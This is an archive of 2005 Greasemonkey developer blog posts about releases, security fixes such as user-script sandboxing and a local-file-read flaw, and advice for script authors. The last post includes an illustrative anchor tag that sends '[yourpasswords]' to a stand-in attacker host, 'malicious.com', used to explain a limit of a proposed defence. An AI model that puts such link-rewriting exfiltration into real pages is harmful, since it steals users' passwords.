Thursday, August 25, 2005

Greasemonkey 0.5.1 Final

Huzzah!

Greasemonkey 0.5.1 Final is available for download.

Special thanks to "t" for reporting a user script escalation issue in the previous beta which has now been fixed.

Other changes:
  • Bug 10107 - Allow users to select a script editor. This also allows script editing to work for *nix users.
  • Bug 11214 - Clicking "Edit" in Manager loses enable/disable changes
  • Bug 11224 - Grease monkey doesn't accept non english characters!
  • Bug 11236 - The install context menu won't show if there's a node under the A element

Sunday, August 21, 2005

Gmail Preview

Mihai rocking with another great Greasemonkey script for Gmail. This one adds full preview to your inbox items. Very smooth, a definite install.

Saturday, August 06, 2005

Aaron's OSCON 2005 slides

Some people who were at OSCON and saw my presentation asked if they would be able to get the slides online.

I've posted them to my website
. You can also download them.

OSCON was a lot of fun. Here's what I've been able to learn about Portland:
  • People: very friendly
  • summer weather: great
  • public transport: efficient and clean
  • food: superb
  • Montage: recommended
  • Burnside skaters: insane
  • Nightlife: very amusing
  • Books: available
So in general, utopia. A fine place for a nerd conference.

Tuesday, August 02, 2005

Mozdev down

It would appear that mozdev.org - which generously hosts Greasemonkey's website - is down today.

Luckily, the Greasemonkey installer is not actually hosted on mozdev. So you can still install Greasemonkey by going directly there.

Saturday, July 30, 2005

Greasemonkey 0.5 Beta

All of us here in Greasemonkeyland are extremely happy to announce that Greasemonkey 0.5 beta is now available for download. Horray!

It should go without saying, but: this is beta software. There will definitely be bugs. Install at your own risk.


Security

The major news with this release is, of course, security. Greasemonkey 0.5 is much more secure than 0.3.5. Several important classes of attacks have been completely disabled and others have been made more difficult, particularly in Deer Park.
  • In Greasemonkey 0.3.4, it was possible for JavaScript on webpages you visited ("content") to use DOM mutation events, watchpoints, or Mozilla's proprietary __defineSetter__ method to get references to the special GM API functions. This has been fixed by moving user script execution away from content completely. Now, user scripts are executed in a separate object -- a "sandbox" -- which is not part of the content window. That means that content scripts cannot acccess it, and thus, cannot employ any of the tricks above to get access to the special GM APIs.

  • In earlier versions, it was possible to block Greasemonkey itself by redefining certain content DOM methods that it used to inject scripts. This has been fixed in 0.5 by only ever accessing content via the special XPCNativeWrapper objects provided by Firefox for this purpose.

  • It has long been understood and accepted that it would be possible to block individual user scripts by looking at which core DOM methods they try to use and redefining those. This will be a lot more difficult to do in Greasemonkey 0.5 when it is running on Deer Park. On Deer Park, the window and document global variables for Greasemonkey user scripts are also XPCNativeWrappers.
  • It was recently discovered that GM_xmlhttpRequest was able to access the file:// protocol and read local files. This has been fixed.

  • In all previous versions of Greasemonkey, it was trivial for content to monitor what user scripts you ran and get the source code for them. Running Deer Park and Greasemonkey 0.5, it's significantly less likely. It's still not impossible, however, so please continue to not put passwords in Greasemonkey user scripts.
Of course, no software is ever perfectly secure. Greasemonkey's entire point of existence is to mash code from two different trust domains into the same space, so it has been particularly tricky. This will be an ongoing fight. But for now, I believe that there are no known major security issues with Greasemonkey 0.5 and that it is safe to use. I also think that any future fixes will be much easier to make.


Features

Since Greasemonkey 0.5 is actually the combination of a massive security audit and all the new code which was planned for 0.4, there are lots of new features too:
  • GM_registerMenuCommand (documentation forthcoming) now takes extra parameters to add keyboard shortcuts.

  • GM_registerMenuCommand no longer gets confused sometimes when switching tabs.

  • Greasemonkey's previous memory leakage problems have been addressed.

  • A new API, GM_openInTab has been added. You can now use a Greasemonkey user script to open a URL in a new Firefox tab.

  • A new menu item has been added: New User Script, which you can use to start a new script. It adds all the boilerplate text to the file so you can get started typing right away.


For User Script Authors

For the most part, Greasemonkey 0.5 should be perfectly backward compatible with your existing user scripts in Firefox 1.0.x. In some cases, however, it can bite you when it didn't before. Generally speaking:
  • Never add properties or functions to window. It's not safe because content can redefine these functions to mean something other than what you wrote.

    For example, you should never write code like this:
    window.handleClick = function() {
    alert("something was clicked!");
    }
    button.setAttribute("click", "window.handleClick()");

    Instead, do it this way:
    function handleClick() {
    alert("something was clicked!");
    }
    button.addEventListener("click", handleClick, false);

  • When you want to manipulate the DOM, always fully-qualify your expressions with window or document. So if you want to call alert on the current window, say window.alert instead of just alert. By doing this, you are sure to get the real alert method instead of a new one that content has used to overwrite the real one.

    In a future version of Greasemonkey, the ability to call methods and properties of window without this qualification will probably go away, so best to get in the habit now.

  • Keep up with the current Deer Park best practices on the Greasemonkey wiki.

  • Test in Deer Park if possible. Everything that works in Deer Park will definitely work in FF 1.0.x, but the reverse is not true. So it's best to test or develop your scripts in Deer Park for maximum compatibility.

So that's it. If you have any other questions, the Greasemonkey mailing list is, as always, the place to ask them.

Happy scripting!

Wednesday, July 27, 2005

Funny Greasemonkey quotes #17 (of a seemingly infinite series)

... [to win at the internet now], you have to make your site easily hooked into by Greasemonkey. It’s like an arms escalation race, only with hugs and easy-to-use web applications.

-- Patrick Gaskill

Greasemonkey hole proves Firefox is insecure? Not so much.

This meme has been bouncing over the net for the last few days. From Jon Udell's provocatively titled post Greasemonkey in Crisis:
"As the dust began to settle, a debate began, refracted through the lens of ideology. This time there was no Microsoft (Profile, Products, Articles) to blame. The open source underdogs had done this to themselves. And while some would argue it wasn't Firefox's fault -- since Greasemonkey is a user-installed extension -- Firefox took its share of the blame, just as Internet Explorer does when its add-ins cause trouble."
I'd just like to clarify that I don't think this proves anything about Firefox's security. Firefox - just like other browsers - has a extension system that allows users to install and run separately-developed programs within the security context of the browser, after an explicit confirmation and approval process.

The fact that such an extension has a flaw should not reflect on Firefox. The flawed code was developed separately from Firefox. It's completely different than if, for example, the browser itself had a problem which could allow an extension to be installed silently, without any user approval.

Continuing from the article:
Some say that open source software is inherently secure because the “open source process” makes it so. Wrong. Open source software, and the collaborative culture that surrounds it, have surely enhanced Firefox’s security. But also necessary is a disciplined approach to reducing the attack surface area.
I'd like to point out that Greasemonkey was the first Firefox extension I had ever written. It got very popular very quickly. The fact that it had a hole only proves that someone new to a platform can create software with holes. This shouldn't come as a surprise to anyone.

Greasemonkey 0.4.x, on the other hand, has had the benefit of much more experience on the part of it's developers. Since it is open, it has also been able to benefit from the review and advice of a community of even more senior developers. If bugs are discovered in it, they will be discussed, fixed, and scrutinizeded openly. And Greasemonkey will again be able to benefit from the advice and review of this broad community.

I think that's the main point that Open Source advocates try to make.

Tuesday, July 19, 2005

Mandatory Greasemonkey Update

Yesterday, Mark Pilgrim discovered and announced a very serious security vulnerability in Greasemonkey. The flaw allows any website which matches at least one user script (even * scripts) to read any local file on your machine, or to list the contents of local directories. The flaw applies to Greasemonkey on all platforms.

I'm working feverishly on a fix for this. But this will take several days. In the meantime, I strongly recommend that everyone either install Greasemonkey 0.3.5, or else disable or uninstall Greasemonkey completely.

Greasemonkey 0.3.5 is a "neutered" version of Greasemonkey, lacking any of the GM* APIs which make Greasemonkey scripts more powerful than regular HTML. This means that scripts which depend on GM* APIs will fail with Greasemonkey 0.3.5.

I have heard no reports of this flaw being exploited, but now that it's public knowledge it isn't safe to continue using any version of Greasemonkey other than 0.3.5. Please either upgrade to 0.3.5 or disable Greasemonkey until I can get a fix finished.

I'm aware of how badly this sucks for many of you. Please accept my deepest personal apologies and realize that I'll do my best to get a fixed Greasemonkey available just as soon as possible.

If you have any other questions, the Greasemonkey mailing list is a good place to ask them.

Monday, July 18, 2005

Please do not put private keys in user scripts (yet)

Joe Gregorio wrote a really interesting piece on XML.com about sending encrypted data over insecure networks, using Greasemonkey to decrypt it on the client.

In his demo, Joe lists his private key in the user script source.

Please do not put private information into user script source code, yet
.

As a side-effect of the way that we are currently injecting user scripts, it's possible for malicious sites to sniff their contents. So, for example, if Bloglines got hacked, or somebody exploited a XSS vulnerability to get Bloglines to include their JavaScript in a feed, then Joe's private key could get stolen.

We're thinking about ways to run user scripts completely separate from the DOM, which would prevent this sniffing from being possible, but it doesn't exist yet. I'll post again here when that happens.

===

If you are an XPCOM/Mozilla/JavaScript expert, Greasemonkey needs you. We are looking for a way to execute JavaScript programatically with these restrictions:
  1. browser content window is the global object
  2. script runs in same security context as browser content is currently running in
  3. we have the ability to add other global objects of our choosing
I've looked into mozIJSSubScriptLoader, but it does not seem to solve any of these well or 2) at all. Post in the comments or on the Greasemonkey mailing list if you have a solution.

Monday, June 27, 2005

Will there ever be another Greasemonkey version?

Short answer: yes

Slightly longer answer: sometime soon. Jeremy and I have been working on a refactor of Greasemonkey that we hope will make it easier to maintain and to add features to.

This was mostly my idea, Jeremy just wanted to get the next version out. So blame me, I am weak :-). I just got tired of looking at the really, really bad "my-first-extension" Greasemonkey codebase.

What you'll get out of the deal:
  • A "new" button in the manage UI
  • Compatibility with latest Deer Park builds
  • Compatibility with Seamonkey
  • Compatibility with Menu Editor (but not Compact Menu probably)
  • Less of a chance of being detected or stopped by page authors
  • Minor UI improvements, such as being able to press Enter/Esc in the various dialogs
  • Easier development of future features
  • No more memory leaks
  • Accelerator keys for menu commands
This one bit is actually the difficult point. There is this known bug in XUL where event handlers for menu items are lost when the nodes they are attached to are removed from the DOM. To get around this, we previously wrote the feature to rebuild the User script commands menu item whenever the Tools menu was activated.

However, since registered menu items' commands need to be active immediately and cannot wait for the Tools menu to be shown, this approach will no longer work. The only solution we have been able to come up with so far seems to crash Firefox for unknown reasons.

We'll work on this a little longer, but if no solution presents itself, we may need to ditch accelerator keys temporarily until we understand better what is causing this problem. We'll work on it for another week at the most.

But hey! Userscript.org is very close to being real! That's cool, right? We have hosting with TextDrive all set up and we just need to put the code up there and turn it on and we'll be ready to roll. W00t!

Very sorry for the delay on the next version. Hang in there, monkeyers.

Friday, May 20, 2005

Greasemonkey on addons.mozilla.org

We've added Greasemonkey to addons.mozilla.org and are now directing all downloads to go through there. This probably means nothing to you, except that:

a) We should be able to roll out new releases of GM much faster now
b) There's a cool little download counter

Sunday, May 15, 2005

0.3.3 (not beta)

Seems stable enough, so let's call it that. Booya.

Sunday, April 24, 2005

Book Burro

Book Burro is wonderfully done work. Not only does it work well, but it's actually very visually pleasing (to my eyes, anyway). The only thing I find myself wanting is the ability to drag it around, but that's pretty minor.

Wiki Footer Fixer

Funny: Carlo Zottman, author of many user scripts indeed has added to the wiki what may be his best work yet: a greasemonkey script that modifies the greasemonkey wiki.

Saturday, April 23, 2005

Greasemonkey 0.3b Beta

Update: The XPI I posted was a) corrupted and b) not able to be served from youngpup.net (the classic XPI/mimetype issue). Sorry about the false start. Reposting now to mozdev.org. Will update again here when it is available.




If you like living on the edge, you may want to try out Greasemonkey 0.3b Beta.

The most noticeable user improvement is the addition of an "edit" button in the manage dialog and a little greasemonkey icon in the bottom right of the screen that you can use to disable GM quickly. Also, we now work on FF 1.0.3. Under the covers, developers now have access to GM_setValue and GM_getValue for persistent storage.

If you decide to try this version, please be aware that there is a pretty significant config migration that happens the first time it runs. You may want to back up your existing configuration before installing. Check the FAQ for details on where to find it.

As always, please report your bugs here, or on the mailing list.

Monday, April 11, 2005

Miscellaneous

Raddest user script yet: Lickr.

Jon Udell uses Greasemonkey as a DDOS platform ;-). Please be considerate with how much traffic you generate with scripts; the last thing we want is people seriously looking for ways to block GM.

More interestingly, he laments:

"there are two aspects of [writing greasemonkey scripts] that feel antiquated. One is groveling around inside Web pages -- in this case, the Bloglines and del.icio.us citation pages -- using regular expressions. The other is groveling around inside the DOM (document object model) of the page into which you're inserting instrumentation."

I cannot help with the former; that is up to web service operators to provide reasonable interfaces. On the second, what we really want is HTML overlays.

Were there no legacy concerns, the syntax might ideally look something like this:

<overlay insertbefore="/foo/bar[@monkey]">
<div>
... your html, css, javascript here ...
</div>
</overlay>

<overlay replace="//a">
... do something to all hyperlinks here ...
</overlay>

Clearly, this hasn't been totally thought out. But usually what people are doing in greasemonkey is adding, modifying, or replacing HTML. This might be easier to do with a declarative language, like, say, HTML.

Of course, there's nothing stopping you from doing this:

<overlay insertafter="/html/body">
<script language="javascript">
regular GM type code here...
</script>
</overlay>

... which just shows that this would essentially be a superset of current GM functionality.

What do people think of this? I see several problems, myself:

a) Implementing some of these overlay commands may require loading the entire DOM somewhere offline, pre-render, manipulating it, then feeding it to the renderer. This kills the progressive loading that browsers use to make page loading seem faster. It also sounds really, really hard. It would be easier to use regular expressions, instead of XPath, but that feels pretty hacky.

b) This model seems to conflict with one of GMs major current features, that it doesn't make visible markup changes to things like rich text editors. Maybe this could be gotten around by special casing RTE's and not running GM on them.

c) Somebody will undoubtebly say that I'm overthinking things.

Wednesday, March 30, 2005

Greasemonkey 0.2.6: Now with less fatal chrome bugs!

So it looks like greasemonkey 0.2.6, which fixes the major flaw in 0.2.5 that stopped some people's chrome (including forward/back buttons, tabs, and url bars) from working, is propagated across all the servers.

Sorry for all the trouble people had with the previous release. Please comment here if you continue to have problems.

Tuesday, March 29, 2005

Greasemonkey 0.2.5: b0rken

There seems to be two major problems people are experiencing: first, they don't even get 0.2.5 because the download link sends them to 0.2.4. This is great because they have no chance of experiencing the other bug if they download that version ;-). Unfortunately it seems to be that all the download mirrors still haven't propagated yet, ~12 hours after I synced them, which is a little worrisome.

The second issue is that some people are having problems with their address bars with 0.2.5. I don't actually get this, so I don't think it occurs in all cases.

Anyway, please bear with us as we get a better version uploaded. Thanks.

Monday, March 28, 2005

Greasemonkey 0.2.5: XMLHTTP across domains and tool menu commands

0.2.5 is available. This was a pretty cool release because it had contributions from four different people.

GM_xmlhttpRequest - XMLHTTP across domains

Using the new global GM_xmlhttpRequest function, user script authors can make XMLHTTP requests to any domain. These type of requests used to be limited by the traditional browser sandbox of only making requests to the same domain of the current page.

Here's an example request:

GM_xmlhttpRequest({
method:"POST",
url:"http://someurl.com/monkey",
headers:["Header-A":"hotdog","Header-B","foobar"],
data:"foo=bar&hot=dog&mon=key",
onload:function(result) { alert(result.responseText) }
});


There are other options as well.

GM_registerMenuCommand - user scripts that add commands to the tools menu

You can use the new GM_registerMenuCommand function to add things to the tools menu. Here's an example:

GM_registerMenuCommand("My command", function() {
alert("hello, from a user script!");
});

This should enable many user scripts that have a component that should be executed by the user on demand, like a bookmarklet.

Other random things:
  • Added an "enable all"/"disable all" feature to the greasemonkey options screen
  • Fixed a bug that was preventing greasemonkey from applying user scripts to XHTML strict documents
  • Removed all default scripts from installation. These were causing problems for too many people, and there's no longer any need for example scripts now that we have the repository.

Wednesday, March 23, 2005

And now for something less snarky...

Lynn asked in the comments what we think of the security concerns raised by the cnet article.

I think that people should be careful which userscripts they install on their computer. If they aren't javascript-literate, maybe they should hold off until there is a community rating system in place.

It is an important (and interesting!) problem though. And even though all my friends say it's probably impossible to solve, I'll keep tinkering with it because I'm lame that way. Perhaps an ugly hack will surface yet.

I thought about it over the weekend, eventually coming to the conclusion that the real problem was in fact the browser: browsers shouldn't let javascript initiate http requests to other domains without a user prompt. If there were no way for javascript to send data on the page to anywhere besides the originating domain, these problem wouldn't exist! Why oh why, I cried to myself, Why were these browser manufacturers so stupid? I decided to write an extension to fix this behavior in Firefox.

It was while explaining my great idea to Tony this morning that I first realized it would still be vulnerable to the oldest exploit of all: the hyperlink. Even if I blocked all javascript initiated communication completely, nothing stops javascript from changing all the hyperlinks on the page to point to:

<a href="http://malicious.com/?showme=[yourpasswords]&muahahahah">

Then all it takes is one click and your passwords are stolen. Bollocks. Back to the drawing board.